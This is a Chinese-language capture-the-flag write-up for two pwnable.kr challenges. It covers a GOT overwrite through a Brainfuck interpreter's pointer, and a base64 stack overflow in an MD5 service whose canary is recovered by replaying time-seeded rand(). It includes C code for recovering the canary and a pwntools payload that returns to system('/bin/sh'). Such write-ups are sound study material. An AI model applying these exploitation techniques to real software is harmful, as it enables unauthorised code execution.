pwnable_kr_1

brain fuck

0x01

这题使用了六个个运算符来修改p指针以及所指的内容

1
2
3
4
5
6
> p++
< p--
+ ++(*p)
- --(*p)
. putchar(*p)
, *p = getchar()

初始位置p->0x0804A0A0(tape),这样我们可以根据前面的运算符来修改p指向的地址,如将p指向got,然后将got表内地址篡改到我们想要的地址,就可以控制程序流的执行。

0x02 leak

利用”<”、”>”运算符将p移到got表,利用“.”运算符将got表内地址读取,即可完成地址泄露。

0x03 利用方法

刚开始我的想法是将putchar的got读出来后,篡改putchar的got为system的地址,然而后面发现putchar的参数其实是一个字符而不是地址。想法一失败

1
2
3
4
5
0x804863a <do_brainfuck+94>: mov eax,ds:0x804a080
0x804863f <do_brainfuck+99>: movzx eax,BYTE PTR [eax]
=> 0x8048642 <do_brainfuck+102>: movsx eax,al
0x8048645 <do_brainfuck+105>: mov DWORD PTR [esp],eax
0x8048648 <do_brainfuck+108>: call 0x80484d0 <putchar@plt>

然后我想到的是选择strlen()作为got中修改的对象。

1
2
for ( i = 0; i < strlen((const char *)&v6); ++i )
do_brainfuck(*((_BYTE *)&v6 + i));

然后就是修改了一个字节以后这个循环就进行不下去了,错误推出

只好去网上找前辈的方案:rickgrey

发现原来是这样利用的:
将got修改成下面的样子:

1
2
3
memset.got = gets_addr
fgets.got = system_addr
putchar.got = main_addr

这样在我们就改好got表时,使用“.”就可以将控制流牵引到main程序开始,由于got表内已经设置好了地址,在调用memset时就会调用gets()函数,然后我们输入‘/bin/sh’,就会将这串字符存到栈中,随后调用fgets()时,实际上是调用system,参数就是我们刚刚输入的字符串的地址。

这里是exp

md5 calculator

0x01

刚开始硬是没找出来溢出点。。。倒是去了解了一下MD5和BASE64,还是去前一题前辈的博客去取经了
rickgrey
找到了溢出点:可以输入1024个BASE64字符,但是给decode后存储的字符空间只有0x200=512,1024个BASE64字符最多可以解码成1024/4*3 = 738 个字符,所以存在溢出。

1
2
3
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, (int)&v3);

但是问题来了,process_hash()函数的栈上有canary,想要覆盖返回地址就需要把canary的值找到。
然后在my_hash()函数中找到了canary在验证码中也被使用,也就是验证码中有canary的信息,怎么提取是一个问题,
还是学前辈的姿势:my_hash()函数中使用了8次rand()函数,并取其中七个值和canary一起来构建验证码。

1
2
3
4
5
6
7
8
9
10
11
v4 = *MK_FP(__GS__, 20);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v3[4 * i] = rand();
result = *(_DWORD *)&v3[16]
- *(_DWORD *)&v3[24]
+ *(_DWORD *)&v3[28]
+ v4
+ *(_DWORD *)&v3[8]
- *(_DWORD *)&v3[12]
+ *(_DWORD *)&v3[4]
+ *(_DWORD *)&v3[20];

然后就是前面的srand()函数使用的随机数种子是系统的时间。并且在第一次获取后没有改变,也就是说种子一直没有改变。
考虑到这个,由于产生的伪随机数,只要种子不变产生的随机数序列是不变的。这样我们可以通过获取系统时间,然后产生8个随机数,
将canary反推出来。这样就可以覆盖栈上的返回地址了,还可以设置参数。

0x02 leak

这里我们不需要leak地址,因为函数中已经调用了system,所以我们的返回地址可以设置为
system.plt、或者是main()函数中的call system的地址。

0x03 exploit

反推canary源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
#include<stdlib.h>
int main(int argc, char** argv){
int t ;
int c ;
int canary = 0;
int num[8];
int i;
t = atoi(argv[1]);
c = atoi(argv[2]);
srand(t);
for(i=0;i<=7;i++){
num[i] = rand();
printf("%d:%x\n",i,num[i]);
}
canary = c + num[6] + num[3] - num[1] - num[2] - num[4] - num[5] -num[7];
printf("canary:%x\n",canary);
return 0;
}

设置栈分布:

1
2
padding + canary + padding + ret_addr + padding + sh_str
0x200 0x04 0x0c system.plt 0x04 (0x0804B0E0 + 0x21c*4/3)

playload

1
2
3
playload = 'A'*0x200 + p32(canary)*4 + \
p32(system_plt) + p32(0x8048a00) + p32(sh_str)
r.sendline(b64e(playload) + '/bin/sh\x00')

这里是exp
canary

另外一个有趣的东西是:如何获取服务器的时间,题目中给出的提示是

hint : this service shares the same machine with pwnable.kr web service

那么很自然的或者说是正统的做法是web获取服务器的时间,然后用这个时间来复现canary,但是时间确实是不准的
即使加入一个随机的延迟或者说超前都是很看概率的问题。最后就是将exp上传至服务器本地(使用其他题的账户),然后运行
我一直觉得这样是不行的原因是之前有个瓜皮传了一个pwn.py到/tmp/文件夹,然后在服务器上就不能使用pwntools,所以很难受。